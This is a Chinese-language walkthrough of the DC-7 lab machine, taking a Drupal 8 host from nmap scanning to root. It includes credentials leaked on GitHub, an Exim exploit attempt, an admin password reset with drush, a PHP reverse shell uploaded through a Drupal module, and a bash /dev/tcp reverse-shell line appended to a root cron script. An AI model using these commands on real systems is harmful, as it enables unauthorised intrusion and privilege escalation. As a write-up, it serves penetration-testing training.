此次的训练以 Drupal 为主题,并且思考方式不再是单纯的在盒子里,而是要跳出去...
扫描整获取目标 IP :nmap -sn 192.168.67.0/24
扫描目标获取相应信息:nmap -A -p- 192.168.67.242 --> 22 | 80

22 SSH 服务 || 80 HTTP 服务,猜测后面极有可能要用到 SSH 服务...查阅 http://192.168.67.242,CMS 是 Drupal,版本为 8,没有找到关于该版本的相关漏洞利用
初步浏览页面,说是引入了新的概念,需要到盒子外边去寻找线索,盒子外边?意思是不在这个站,要到别处去?要到哪里去呢?细心观察你会发现在初始界面的左下方有这么一个东西:

1592965645(1).png

再次引出,思考盒子外边?遇事不决问谷歌,其次问github,百度和必应,既然谷歌大哥不在家,那就问问github,在github找到了一些小东西:

7c936d62b0fbad0a14569b4ae30f07a.png

点进去看看,哇,config 配置文件香香的,迫不及待查看一下:

1592966188(1).png

得到用户名和密码:
$username = "dc7user";
$password = "MdR3xOgB7#dW";
尝试用 ssh 登陆,登陆成功

ssh dc7user@192.168.67.242
MdR3xOgB7#dW
ls
cd backups
ls
cd ..
cat mbox

发现 Email 版本是 4.89,看下该版本有无可疑提权的
searchsploit Exim local

1592966999(1).png

发现有一个,传过去(方法有很多)
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/
scp 46996.sh dc7user@192.168.67.242:/tmp/k.sh
cd /tmp
bash k.sh
但是报错,好吧,看看mbox还有没有没发现的东西:
从上到下,可以看到时间为 17:00 || 17:15 || 17:30 ...
可以看出是隔 15 分钟就会执行一个文件[定时任务],而且,是以 root 身份权限执行~,那么路子肯定也就在这里了。去查看一下改执行文件
cat /opt/scripts/backups.sh
看着名字也大概了解是一个备份,看下该文件的权限:

1592967720(1).png

可以看到属主和属组的权限是 7 而其他没有写权限,那就要想办法以属主或属组身份进入系统,但是不知道密码,想着能不能通过数据库修改一下网页密码,然后在Drupal 系统后台上传一个有漏洞的插件?或者可以直接利用的插件?这就拿到了属组身份
cat /var/www/html/sites/default/settings.php

1592969131(1).png

mysql -u db7user -p登陆数据库
show tables;
use d7db;
show tables;
select * from users;
但是,但是,我没有看到密码字段???又把其它关于 users 的表查了个遍...木有
好吧,看看还有没有其它方法...此路不通走彼路
Drupal 是不是有一些特性是不知道的,一般来说做开发,为了提升效率,可以直接命令行来管理,Drupal有这种东西吗?
还真有,叫做 drush,查看帮助,这里需要注意的一个地方就是,需要到该站的主目录即:/var/www/html/ 下才可以执行drush

cd /var/www/html/
drush -h --> 说是输入 drush 查看全部命令,这里还需要说明一下,输错 5 次密码会被暂时封 IP
drush user-password admin --password="123"
登陆一下后台:admin 123,上传一个插件,下载地址在这里:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击 Extend --> Install new module -- > Browser 选择文件 --> install 上传即可

1592971160.png

1592971146(1).png

将其打开后上传一个 php 反弹shell,
1592971622(1).png

kali:cp /usr/share/webshells/php/php-reverse-shell.php /root/
kali:nc -vnlp 2333
修改反弹 shell 中的内容:
3008946dd0a050525871a3667938595.png

复制到content:
e862abecd1e947882708a6c01cbc778.png
c8f464d54d937363005f8c8d8cc6fc2.png
点击 save :[注意 Text format 要选择 "PHP code"],即可获取反弹 shell

id --> www-data
python -c 'import pty;pty.spawn("/bin/bash")'

写入反弹 shell 等待 15 分钟,获取 root 权限
echo "bash -i >& /dev/tcp/192.168.67.221/6789 0>&1" >> /opt/scripts/backups.sh

kali这边需要侦听 6789 端口:
nc -vnlp 6789
id
cd /root
ls
cat theflag.txt

b7d81b34022d4d5d67115ea27bf9340.png

总结:
1.盒子外思考
2.对常见的CMS要深入了解
3.数据库改密
4.善用搜索引擎
5.软件版本漏洞利用
6.细心观察[mbox]
7.插件利用
8.上传shell
9.简单的 shell 编写 [bash -i >& /dev/tcp/192.168.67.221/6789 0>&1]
10.linux 权限
11.linux 定时任务